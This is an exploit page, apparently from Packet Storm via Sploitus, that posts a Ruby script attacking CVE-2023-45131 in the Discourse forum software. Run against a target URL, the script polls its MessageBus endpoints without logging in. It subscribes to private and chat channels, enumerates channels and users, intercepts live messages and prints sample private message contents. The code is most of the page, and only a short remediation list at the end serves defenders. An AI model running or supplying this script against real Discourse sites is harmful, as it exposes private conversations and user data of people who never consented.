Sploitus

Exploit for πŸ“„ Discourse 3.1.1 Unauthenticated Chat Message Access

packetstorm Β· 2025-07-22

Exploit Code

ruby566 lines
## https://sploitus.com/exploit?id=PACKETSTORM:207356
#!/usr/bin/env ruby
    # Title : Discourse 3.1.1 - Unauthenticated Chat Message Access
    # CVE-2023-45131
    # CVSS: 7.5 (High)
    # Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2
    # Author ibrahimsql @ https://twitter.com/ibrahmsql
    # Date: 2023-12-14
    
    require 'net/http'
    require 'uri'
    require 'json'
    require 'openssl'
    require 'base64'
    
    class CVE202345131
      def initialize(target_url)
        @target_url = target_url.chomp('/')
        @results = []
        @message_bus_client_id = nil
        @csrf_token = nil
      end
    
      def run_exploit
        puts "\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access"
        puts "[*] Target: #{@target_url}"
        puts "[*] CVSS Score: 7.5 (High)"
        puts "[*] Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\n"
    
        # Test MessageBus access
        test_messagebus_access
        test_chat_channel_enumeration
        test_private_message_access
        test_real_time_monitoring
        test_message_history_access
        test_user_enumeration_via_chat
    
        generate_report
        @results
      end
    
      private
    
      def test_messagebus_access
        puts "[*] Testing MessageBus unauthenticated access..."
        
        begin
          # Get MessageBus client ID
          uri = URI("#{@target_url}/message-bus/poll")
          
          response = make_request(uri, 'GET')
          
          if response && response.code == '200'
            begin
              data = JSON.parse(response.body)
              if data.is_a?(Array) && !data.empty?
                @message_bus_client_id = extract_client_id(response)
                
                @results << {
                  vulnerability: "MessageBus Access",
                  severity: "High",
                  description: "Unauthenticated access to MessageBus endpoint confirmed",
                  impact: "Can monitor real-time messages and notifications",
                  client_id: @message_bus_client_id
                }
                puts "[+] MessageBus access confirmed - Client ID: #{@message_bus_client_id}"
                return true
              end
            rescue JSON::ParserError
              # Try alternative endpoints
              test_alternative_messagebus_endpoints
            end
          end
        rescue => e
          puts "[!] Error testing MessageBus access: #{e.message}"
        end
        
        false
      end
    
      def test_alternative_messagebus_endpoints
        puts "[*] Testing alternative MessageBus endpoints..."
        
        endpoints = [
          "/message-bus/poll",
          "/message-bus/subscribe",
          "/message-bus/diagnostics",
          "/message-bus/long-poll"
        ]
    
        endpoints.each do |endpoint|
          begin
            uri = URI("#{@target_url}#{endpoint}")
            response = make_request(uri, 'GET')
            
            if response && response.code == '200'
              if response.body.include?('message-bus') || response.body.include?('clientId')
                @results << {
                  vulnerability: "Alternative MessageBus Endpoint",
                  severity: "Medium",
                  endpoint: endpoint,
                  description: "Alternative MessageBus endpoint accessible",
                  impact: "Potential message monitoring capability"
                }
                puts "[+] Alternative endpoint accessible: #{endpoint}"
              end
            end
          rescue => e
            puts "[!] Error testing endpoint #{endpoint}: #{e.message}"
          end
        end
      end
    
      def test_chat_channel_enumeration
        puts "[*] Testing chat channel enumeration..."
        
        return unless @message_bus_client_id
        
        begin
          # Try to enumerate chat channels
          uri = URI("#{@target_url}/message-bus/poll")
          
          # Subscribe to chat channels
          data = {
            '/chat/new-messages' => -1,
            '/chat/channel-status' => -1,
            '/chat/user-tracking' => -1,
            'clientId' => @message_bus_client_id
          }
          
          response = make_request(uri, 'POST', data)
          
          if response && response.code == '200'
            begin
              messages = JSON.parse(response.body)
              
              if messages.is_a?(Array) && !messages.empty?
                chat_channels = extract_chat_channels(messages)
                
                if !chat_channels.empty?
                  @results << {
                    vulnerability: "Chat Channel Enumeration",
                    severity: "High",
                    channels: chat_channels,
                    description: "Enumerated accessible chat channels",
                    impact: "Can identify active chat channels and participants"
                  }
                  puts "[+] Chat channels enumerated: #{chat_channels.join(', ')}"
                end
              end
            rescue JSON::ParserError => e
              puts "[!] Error parsing chat channel response: #{e.message}"
            end
          end
        rescue => e
          puts "[!] Error enumerating chat channels: #{e.message}"
        end
      end
    
      def test_private_message_access
        puts "[*] Testing private message access..."
        
        return unless @message_bus_client_id
        
        begin
          # Try to access private messages
          uri = URI("#{@target_url}/message-bus/poll")
          
          # Subscribe to private message channels
          data = {
            '/private-messages' => -1,
            '/chat/private' => -1,
            '/notification' => -1,
            'clientId' => @message_bus_client_id
          }
          
          response = make_request(uri, 'POST', data)
          
          if response && response.code == '200'
            begin
              messages = JSON.parse(response.body)
              
              if messages.is_a?(Array)
                private_messages = extract_private_messages(messages)
                
                if !private_messages.empty?
                  @results << {
                    vulnerability: "Private Message Access",
                    severity: "Critical",
                    messages: private_messages,
                    description: "Accessed private chat messages without authentication",
                    impact: "Complete breach of private communication confidentiality"
                  }
                  puts "[+] Private messages accessed: #{private_messages.length} messages found"
                  
                  # Log sample messages (redacted)
                  private_messages.first(3).each_with_index do |msg, idx|
                    puts "    [#{idx + 1}] #{redact_message(msg)}"
                  end
                end
              end
            rescue JSON::ParserError => e
              puts "[!] Error parsing private message response: #{e.message}"
            end
          end
        rescue => e
          puts "[!] Error accessing private messages: #{e.message}"
        end
      end
    
      def test_real_time_monitoring
        puts "[*] Testing real-time message monitoring..."
        
        return unless @message_bus_client_id
        
        begin
          puts "[*] Monitoring for 10 seconds..."
          
          start_time = Time.now
          monitored_messages = []
          
          while (Time.now - start_time) < 10
            uri = URI("#{@target_url}/message-bus/poll")
            
            data = {
              '/chat/new-messages' => 0,
              'clientId' => @message_bus_client_id
            }
            
            response = make_request(uri, 'POST', data)
            
            if response && response.code == '200'
              begin
                messages = JSON.parse(response.body)
                
                if messages.is_a?(Array) && !messages.empty?
                  new_messages = extract_new_messages(messages)
                  monitored_messages.concat(new_messages)
                end
              rescue JSON::ParserError
                # Continue monitoring
              end
            end
            
            sleep(1)
          end
          
          if !monitored_messages.empty?
            @results << {
              vulnerability: "Real-time Message Monitoring",
              severity: "High",
              messages_count: monitored_messages.length,
              description: "Successfully monitored real-time chat messages",
              impact: "Can intercept live communications"
            }
            puts "[+] Real-time monitoring successful: #{monitored_messages.length} messages intercepted"
          else
            puts "[-] No real-time messages detected during monitoring period"
          end
        rescue => e
          puts "[!] Error during real-time monitoring: #{e.message}"
        end
      end
    
      def test_message_history_access
        puts "[*] Testing message history access..."
        
        begin
          # Try to access message history through various endpoints
          history_endpoints = [
            "/chat/api/channels",
            "/chat/api/messages",
            "/chat/history",
            "/api/chat/channels.json"
          ]
          
          history_endpoints.each do |endpoint|
            uri = URI("#{@target_url}#{endpoint}")
            response = make_request(uri, 'GET')
            
            if response && response.code == '200'
              begin
                data = JSON.parse(response.body)
                
                if data.is_a?(Hash) && (data['messages'] || data['channels'] || data['chat'])
                  @results << {
                    vulnerability: "Message History Access",
                    severity: "High",
                    endpoint: endpoint,
                    description: "Accessed chat message history without authentication",
                    impact: "Historical chat data exposure"
                  }
                  puts "[+] Message history accessible via: #{endpoint}"
                end
              rescue JSON::ParserError
                # Check for HTML responses that might contain chat data
                if response.body.include?('chat') && response.body.include?('message')
                  @results << {
                    vulnerability: "Message History Exposure",
                    severity: "Medium",
                    endpoint: endpoint,
                    description: "Chat-related content found in response",
                    impact: "Potential information disclosure"
                  }
                  puts "[+] Chat-related content found in: #{endpoint}"
                end
              end
            end
          end
        rescue => e
          puts "[!] Error testing message history access: #{e.message}"
        end
      end
    
      def test_user_enumeration_via_chat
        puts "[*] Testing user enumeration via chat features..."
        
        begin
          # Try to enumerate users through chat-related endpoints
          user_endpoints = [
            "/chat/api/users",
            "/chat/users.json",
            "/api/chat/users",
            "/chat/members"
          ]
          
          user_endpoints.each do |endpoint|
            uri = URI("#{@target_url}#{endpoint}")
            response = make_request(uri, 'GET')
            
            if response && response.code == '200'
              begin
                data = JSON.parse(response.body)
                
                if data.is_a?(Hash) && (data['users'] || data['members'])
                  users = extract_users_from_chat(data)
                  
                  if !users.empty?
                    @results << {
                      vulnerability: "User Enumeration via Chat",
                      severity: "Medium",
                      endpoint: endpoint,
                      users_count: users.length,
                      sample_users: users.first(5),
                      description: "Enumerated chat users without authentication",
                      impact: "User information disclosure"
                    }
                    puts "[+] Users enumerated via #{endpoint}: #{users.length} users found"
                  end
                end
              rescue JSON::ParserError
                # Continue with next endpoint
              end
            end
          end
        rescue => e
          puts "[!] Error testing user enumeration: #{e.message}"
        end
      end
    
      def extract_client_id(response)
        # Extract client ID from response headers or body
        if response['X-MessageBus-Client-Id']
          return response['X-MessageBus-Client-Id']
        end
        
        # Try to extract from response body
        begin
          data = JSON.parse(response.body)
          if data.is_a?(Hash) && data['clientId']
            return data['clientId']
          end
        rescue JSON::ParserError
        end
        
        # Generate a random client ID
        SecureRandom.hex(16)
      end
    
      def extract_chat_channels(messages)
        channels = []
        
        messages.each do |message|
          if message.is_a?(Hash)
            if message['channel'] && message['channel'].include?('/chat/')
              channels << message['channel']
            elsif message['data'] && message['data'].is_a?(Hash)
              if message['data']['channel_id']
                channels << "Channel #{message['data']['channel_id']}"
              end
            end
          end
        end
        
        channels.uniq
      end
    
      def extract_private_messages(messages)
        private_msgs = []
        
        messages.each do |message|
          if message.is_a?(Hash)
            if message['channel'] && (message['channel'].include?('/private') || message['channel'].include?('/chat/private'))
              private_msgs << {
                channel: message['channel'],
                data: message['data'],
                timestamp: message['timestamp'] || Time.now.to_i
              }
            elsif message['data'] && message['data'].is_a?(Hash)
              if message['data']['message'] || message['data']['content']
                private_msgs << {
                  content: message['data']['message'] || message['data']['content'],
                  user: message['data']['user'] || message['data']['username'],
                  timestamp: message['data']['timestamp'] || Time.now.to_i
                }
              end
            end
          end
        end
        
        private_msgs
      end
    
      def extract_new_messages(messages)
        new_msgs = []
        
        messages.each do |message|
          if message.is_a?(Hash) && message['data']
            new_msgs << {
              channel: message['channel'],
              data: message['data'],
              timestamp: Time.now.to_i
            }
          end
        end
        
        new_msgs
      end
    
      def extract_users_from_chat(data)
        users = []
        
        if data['users'] && data['users'].is_a?(Array)
          data['users'].each do |user|
            if user.is_a?(Hash)
              users << {
                username: user['username'],
                id: user['id'],
                name: user['name']
              }
            end
          end
        elsif data['members'] && data['members'].is_a?(Array)
          data['members'].each do |member|
            if member.is_a?(Hash)
              users << {
                username: member['username'] || member['user'],
                id: member['id'] || member['user_id']
              }
            end
          end
        end
        
        users
      end
    
      def redact_message(message)
        if message.is_a?(Hash)
          content = message[:content] || message['content'] || message[:data] || 'N/A'
          user = message[:user] || message['user'] || 'Unknown'
          "User: #{user}, Content: #{content.to_s[0..50]}..."
        else
          message.to_s[0..50] + "..."
        end
      end
    
      def make_request(uri, method = 'GET', data = nil, headers = {})
        begin
          http = Net::HTTP.new(uri.host, uri.port)
          http.use_ssl = (uri.scheme == 'https')
          http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?
          http.read_timeout = 10
          http.open_timeout = 10
    
          request = case method.upcase
                    when 'GET'
                      Net::HTTP::Get.new(uri.request_uri)
                    when 'POST'
                      req = Net::HTTP::Post.new(uri.request_uri)
                      if data
                        if data.is_a?(Hash)
                          req.set_form_data(data)
                        else
                          req.body = data
                          req['Content-Type'] = 'application/json'
                        end
                      end
                      req
                    end
    
          # Set headers
          request['User-Agent'] = 'Mozilla/5.0 (compatible; DiscourseMap/2.0)'
          request['Accept'] = 'application/json, text/javascript, */*; q=0.01'
          request['X-Requested-With'] = 'XMLHttpRequest'
          headers.each { |key, value| request[key] = value }
    
          response = http.request(request)
          return response
        rescue => e
          puts "[!] Request failed: #{e.message}"
          return nil
        end
      end
    
      def generate_report
        puts "\n" + "="*60
        puts "CVE-2023-45131 Exploitation Report"
        puts "="*60
        puts "Target: #{@target_url}"
        puts "Vulnerabilities Found: #{@results.length}"
        
        if @results.empty?
          puts "[+] No chat message access vulnerabilities detected"
        else
          puts "\n[!] VULNERABILITIES DETECTED:"
          @results.each_with_index do |result, index|
            puts "\n#{index + 1}. #{result[:vulnerability]}"
            puts "   Severity: #{result[:severity]}"
            puts "   Description: #{result[:description]}"
            puts "   Impact: #{result[:impact]}"
            
            if result[:messages_count]
              puts "   Messages Found: #{result[:messages_count]}"
            end
            if result[:channels]
              puts "   Channels: #{result[:channels].join(', ')}"
            end
            if result[:endpoint]
              puts "   Endpoint: #{result[:endpoint]}"
            end
          end
          
          puts "\n[!] REMEDIATION:"
          puts "1. Update Discourse to version 3.1.1 stable or 3.2.0.beta2 or later"
          puts "2. Implement proper authentication for MessageBus endpoints"
          puts "3. Review and restrict access to chat-related APIs"
          puts "4. Monitor MessageBus access logs for suspicious activity"
          puts "5. Consider disabling chat features if not required"
        end
        
        puts "\n" + "="*60
      end
    end
    
    # Run the exploit if called directly
    if __FILE__ == $0
      if ARGV.length != 1
        puts "Usage: ruby #{$0} <target_url>"
        puts "Example: ruby #{$0} https://discourse.example.com"
        exit 1
      end
    
      target_url = ARGV[0]
      exploit = CVE202345131.new(target_url)
      exploit.run_exploit
    end